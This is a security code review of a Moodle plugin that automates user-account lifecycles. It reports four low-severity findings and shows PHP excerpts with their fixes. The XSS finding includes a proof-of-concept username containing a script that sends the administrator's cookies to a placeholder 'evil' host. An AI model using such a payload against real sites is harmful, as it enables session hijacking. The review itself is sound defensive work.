Automatic User Lifecycle Management
tool_userautodelete
tool_userautodelete ("Automatic User Lifecycle Management") is an admin tool that manages the lifecycle of Moodle user accounts through configurable, multi-step workflows. Each workflow step combines filters (auth method, cohort, role, last access, suspension state, current date, time delay) that select users, with actions (send mail, suspend, unsuspend, anonymize, delete) that run when a user enters the step. A scheduled task drives the workflows; a dry-run preview and an action log let administrators audit automated activity. Filters and actions are implemented as two sub-plugin types (userdeletefilter_*, userdeleteaction_*).
This is a well-engineered, security-conscious plugin. The entire attack surface is administrator-gated: every web entry point calls require_admin() or admin_externalpage_setup(), the single external/AJAX function enforces moodle/site:config via validate_context() + require_capability(), and the settings editor is a dynamic_form whose check_access_for_dynamic_submission() also requires moodle/site:config.
Data-access hygiene is strong. All database access goes through the $DB API with named placeholders or get_in_or_equal(); the dynamically-assembled user-filter clauses draw their variable parts exclusively from bound parameters, and the only string-interpolated identifiers ($CFG->siteadmins, $CFG->siteguest) are intval()-cast before being joined into an IN (...) list. No SQL injection vector was found. State-changing requests are protected against CSRF — confirmation dialogs are moodleforms (sesskey validated in _process_submission() during construction) and the direct GET actions call require_sesskey(). Schema changes are confined to db/upgrade.php, a full Privacy API provider is implemented (with null_provider on every sub-plugin), and the plugin ships an extensive PHPUnit suite.
The findings are all low severity: a non-portable TRUE/FALSE SQL literal in the date filter that breaks on SQL Server; a missing output-escaping call on username/fullname in the dry-run table (not exploitable under default configuration because core sanitizes names, but a genuine hardening gap that could become a stored XSS under extendedusernamechars or external name sync); a deliberate direct write to the user table in the anonymize action that bypasses core events; and unescaped admin-controlled workflow titles in confirmation dialogs (neutralized by PARAM_TEXT and admin-only visibility). None are exploitable by a low-privilege user under a default configuration, and there are no medium, high, or critical issues.
Overview
tool_userautodelete is a mature admin tool that automates the Moodle user account lifecycle via configurable multi-step workflows. It is cleanly architected and security-aware — the review found no critical, high, or medium issues, only a handful of low-severity hardening and portability items.
Security posture (verified against core)
- Authorization: Every page (
workflows.php,workflow.php,manageworkflow.php,managestep.php,manageaction.php,managefilter.php,log.php,dryrun.php) enforces admin access. The external functionget_step_user_processesand thesubplugin_instance_settings_formdynamic form both requiremoodle/site:config. - CSRF: Confirmation forms rely on
moodleform(sesskey enforced in_process_submission()at construction time — confirmed in/moodle/public/lib/formslib.php); direct GET mutations callrequire_sesskey(). - SQL: All queries are parameterized. Filter sub-plugins build WHERE fragments from bound parameters /
get_in_or_equal(); interpolated admin/guest IDs areintval()-cast. - XSS: Mustache templates use escaped
{{ }}for all dynamic values (Moodle configures'escape' => 's', i.e.htmlspecialchars(..., ENT_QUOTES)); triple-mustache is limited tomoodle_urloutput, base64 payloads, and pre-rendered table HTML. - APIs: File/HTTP/DB access all go through Moodle APIs — no superglobals in code, no raw DB drivers, no
eval/exec/shell_exec, no raw cURL/sockets. - Privacy: Full provider implemented; sub-plugins correctly use
null_provider.
Findings (all low)
| # | Issue | Category | Severity |
|---|---|---|---|
| 1 | Non-portable TRUE/FALSE SQL literals in the date filter (breaks on MS SQL Server) | code_quality | low |
| 2 | username/fullname output without s() in the dry-run table (conditional stored XSS) | security | low |
| 3 | Anonymize action writes directly to the user table, bypassing user_update_user() and its events | code_quality | low |
| 4 | Workflow/step title & description echoed unescaped in confirmation dialogs (admin-only, PARAM_TEXT-mitigated) | best_practice | low |
Bottom line
A high-quality plugin that follows Moodle security and coding conventions throughout. The recommended fixes are small (wrap user-identifying output in s(), replace TRUE/FALSE with 1=1/1=0) and none address an exploitable-by-default vulnerability.
Findings
The date filter sub-plugin returns the raw SQL tokens TRUE or FALSE as its WHERE-clause fragment depending on whether the configured date criteria are met.
While TRUE/FALSE are valid boolean literals on MySQL/MariaDB and PostgreSQL, they are not valid on Microsoft SQL Server (the sqlsrv driver), which Moodle officially supports. On SQL Server, WHERE ... AND (TRUE) ... raises a syntax/invalid-column error.
This fragment is concatenated into the ingestion query (workflow::get_applicable_users()), the transition query (process::get_active_processes_for_step()), and the dry-run table query. Consequently, any workflow that uses a date filter will fail to process users or render its dry-run on a SQL Server installation.
Low risk. This is a database-portability defect, not a security vulnerability. There is no data-exposure or injection component (the fragment is a constant, not user input). Impact is limited to broken functionality on SQL Server deployments; MySQL/MariaDB and PostgreSQL installations are unaffected. Severity is low because it is a correctness/portability issue with a trivial fix.
In step::generate_user_filter_clause() each filter's user_records_filter_clause() output is wrapped in parentheses and joined with AND. The date filter differs from the other filters (which emit column comparisons) by short-circuiting to a constant boolean, evaluated in PHP from the current server time.
public function user_records_filter_clause(): userfilter_clause {
if ($this->date_constraints_met()) {
return new userfilter_clause('TRUE', []);
} else {
return new userfilter_clause('FALSE', []);
}
}
Use the cross-engine-portable idiom instead of bare boolean keywords:
public function user_records_filter_clause(): userfilter_clause {
if ($this->date_constraints_met()) {
return new userfilter_clause('1 = 1', []);
} else {
return new userfilter_clause('1 = 0', []);
}
}
The dry-run users table builds the user column as a raw HTML string, embedding fullname($values) and $values->username directly without passing them through s() or format_string().
table_sql treats the return value of a col_*() method as trusted HTML and prints it verbatim, and fullname() / core_user::get_fullname() (verified in core) do not HTML-escape — they interpolate the raw firstname/lastname fields. This makes the cell an output-escaping gap for user-controlled identity data.
The sibling log_table correctly wraps its dynamic values in s() (e.g. col_workflow()), and the AJAX-rendered modal/step_processes template escapes {{fullname}}, so this table is an inconsistency.
Low risk. Under a default Moodle configuration this is not exploitable: the user profile form and web-service create/update paths clean firstname/lastname with PARAM_NOTAGS (tags stripped), and usernames are constrained to a restricted character set, so no HTML can reach the field. The gap becomes a realistic stored XSS against administrators only under non-default conditions — chiefly extendedusernamechars=1 (which disables username character filtering) or identity data synchronized from an external directory that permits markup. Exploitation additionally requires the attacker's account to satisfy the workflow's filters and an administrator to open the dry-run page. Because it is not reachable by a low-privilege user by default and depends on several conditions, it is rated low, but it should be fixed as defense-in-depth (and to match the escaping used elsewhere in the plugin).
dryrun.php (admin-only) renders dryrun_users_table via output buffering and injects the resulting HTML into the page through {{{dryruntablehtml}}}. The table lists every non-deleted user matching the workflow's first-step filters. The name fields therefore originate from arbitrary account holders, while the page itself is viewed by a site administrator.
Preconditions: $CFG->extendedusernamechars enabled (or names imported from an external auth/enrolment source that permits markup). A user with username <script>document.location='https://evil/?c='+document.cookie</script> whose account matches the workflow's first-step filters will, when an administrator opens dryrun.php?workflowid=<id>, have that markup written into the admin's page and executed.
public function col_user($values) {
$userurl = new moodle_url('/user/profile.php', ['id' => $values->id]);
return '<a href="' . $userurl . '">' . fullname($values) . ' (' . $values->username . ')</a>';
}
Escape the user-identifying fields before output:
public function col_user($values) {
$userurl = new moodle_url('/user/profile.php', ['id' => $values->id]);
return html_writer::link($userurl, s(fullname($values)) . ' (' . s($values->username) . ')');
}
Use s() for both fullname() and username. (html_writer::link() additionally handles the href safely.)
The anonymize action overwrites identity fields on the core user record with a direct $DB->update_record('user', ...) call, intentionally avoiding user_update_user() (as noted in the inline comment) to skip its validation.
Bypassing the core API means:
- The
\core\event\user_updatedevent is not fired, so subsystems that react to user changes (analytics, external DB enrolment sync, global search indexing, auth/enrolment plugins) never learn that the record was scrubbed. - Normalization/validation performed by
user_update_user()is skipped. - The account is neither suspended nor has its
authmethod changed, and sessions are not destroyed — an SSO-authenticated user could still log in after anonymization and potentially repopulate profile data on next login.
Writing to a core table the plugin does not own is acceptable when core lacks a suitable API, but here user_update_user() exists and is the recommended path for most fields.
Low risk. This is a data-consistency and best-practice concern, not an exploitable vulnerability. The user id is trusted, the write is admin-configured, and the field values are constant. The practical downside is that other components relying on the user_updated event may retain stale copies of the anonymized data, and anonymized SSO accounts remain loginable. Because anonymization is an intentional, documented design choice and the blast radius is limited to internal data flow, severity is low.
The action executes inside process::create() / process::transition() under a delegated DB transaction, driven by the executeworkflows scheduled task. $process->userid is an internal, non-user-supplied identifier, so there is no injection concern; the issue is purely about bypassing the core update path and its side effects.
// We purposfully do not call user_update_user() here to circumvent any checks that might
// prevent storing the anonymized values inside the user record.
return $DB->update_record('user', [
'id' => $process->userid,
'username' => "DELETED-USER-{$process->userid}",
'password' => AUTH_PASSWORD_NOT_CACHED,
'idnumber' => '',
'firstname' => 'DELETED',
'lastname' => 'DELETED',
'email' => "DELETED-USER-{$process->userid}@localhost",
...
'timemodified' => time(),
]);
Prefer user_update_user($record, false, true) where possible so the user_updated event fires and dependent subsystems stay consistent. If specific fields genuinely cannot be routed through the API, fire \core\event\user_updated manually after the direct write, and consider also suspending the account / destroying its sessions so an anonymized SSO user cannot re-authenticate and repopulate data.
The workflow enable/disable/delete confirmation forms build their warning HTML by concatenating $workflow->title and $workflow->description directly into a string that is handed to $OUTPUT->notification() (rendered as raw HTML), with no s() / format_string() escaping.
The values are administrator-supplied and constrained to PARAM_TEXT on input (workflow::set_title() / set_description() are only reachable from admin-only pages), so strip_tags-based cleaning neutralizes active markup and the pages themselves are admin-only. The pattern is nonetheless inconsistent with the escaped output used in the Mustache templates and the log_table, and is worth tightening.
Low risk. Because PARAM_TEXT strips HTML tags on input and both the data source and the viewer are administrators, there is no cross-privilege or active-scripting exploit path — at worst an admin sees their own residual markup. This is an output-escaping hardening/consistency recommendation rather than a vulnerability.
These moodleform subclasses render a confirmation notice before activating, deactivating, or deleting a workflow. Titles and descriptions are set exclusively by administrators through manageworkflow.php (guarded by require_admin() + require_sesskey()), and the confirmation pages are likewise admin-only.
$warndetails = '<b>' . $workflow->title . ' (ID: ' . $workflow->id . ')</b><br>';
$warndetails .= '<span>' . $workflow->description . '</span>';
Escape the admin-controlled fields on output:
$warndetails = '<b>' . s($workflow->title) . ' (ID: ' . $workflow->id . ')</b><br>';
$warndetails .= '<span>' . s($workflow->description) . '</span>';
$warndetails = '<b>' . $workflow->title . ' (ID: ' . $workflow->id . ')</b><br>';
$warndetails .= '<span>' . $workflow->description . '<br>';
Wrap $workflow->title and $workflow->description in s() (or use format_string()).
$warndetails = '<b>' . $workflow->title . ' (ID: ' . $workflow->id . ')</b><br>';
$warndetails .= '<span>' . $workflow->description . '<br>';
Wrap $workflow->title and $workflow->description in s() (or use format_string()).
No bundled third-party code. The repository contains no thirdpartylibs.xml, and none is required: the only minified asset (amd/build/modal_delete_save_cancel.min.js) is the compiled build artifact of the plugin's own amd/src/ source, not an external library. No Moodle-core-shipped library (Guzzle, PHPMailer, Mustache, etc.) is duplicated.
Strong overall security engineering. Worth acknowledging: consistent $DB parameterization, uniform admin gating across all entry points and the external/AJAX function (moodle/site:config), correct reliance on moodleform/dynamic_form sesskey handling plus explicit require_sesskey() on GET mutations, sub-plugin class resolution validated through core_plugin_manager before instantiation (plugin_util::get_subplugin_class() — no arbitrary class instantiation), a complete Privacy API provider with null_provider on every sub-plugin, DDL confined to db/upgrade.php, and an extensive PHPUnit suite. The user-filter builder also always excludes site admins and the guest account, a sensible safety guard against accidental mass deletion.
Architectural robustness note (informational). step::generate_user_filter_clause() renames each filter's bound parameters by running a single preg_replace() over the SQL fragment, and applies preg_quote() to the replacement string ($newparamname). This works for all shipped filters (each uses its parameters exactly once, with alphanumeric names), but it is fragile for future/third-party filter sub-plugins: a clause that references the same named parameter more than once would have only its first occurrence renamed, producing a DML error, and preg_quote() on a replacement value is technically incorrect (it would corrupt a name containing regex metacharacters). Consider renaming via structured parameter maps rather than regex substitution. This is not a security issue — the substituted tokens are internal parameter names, never user data.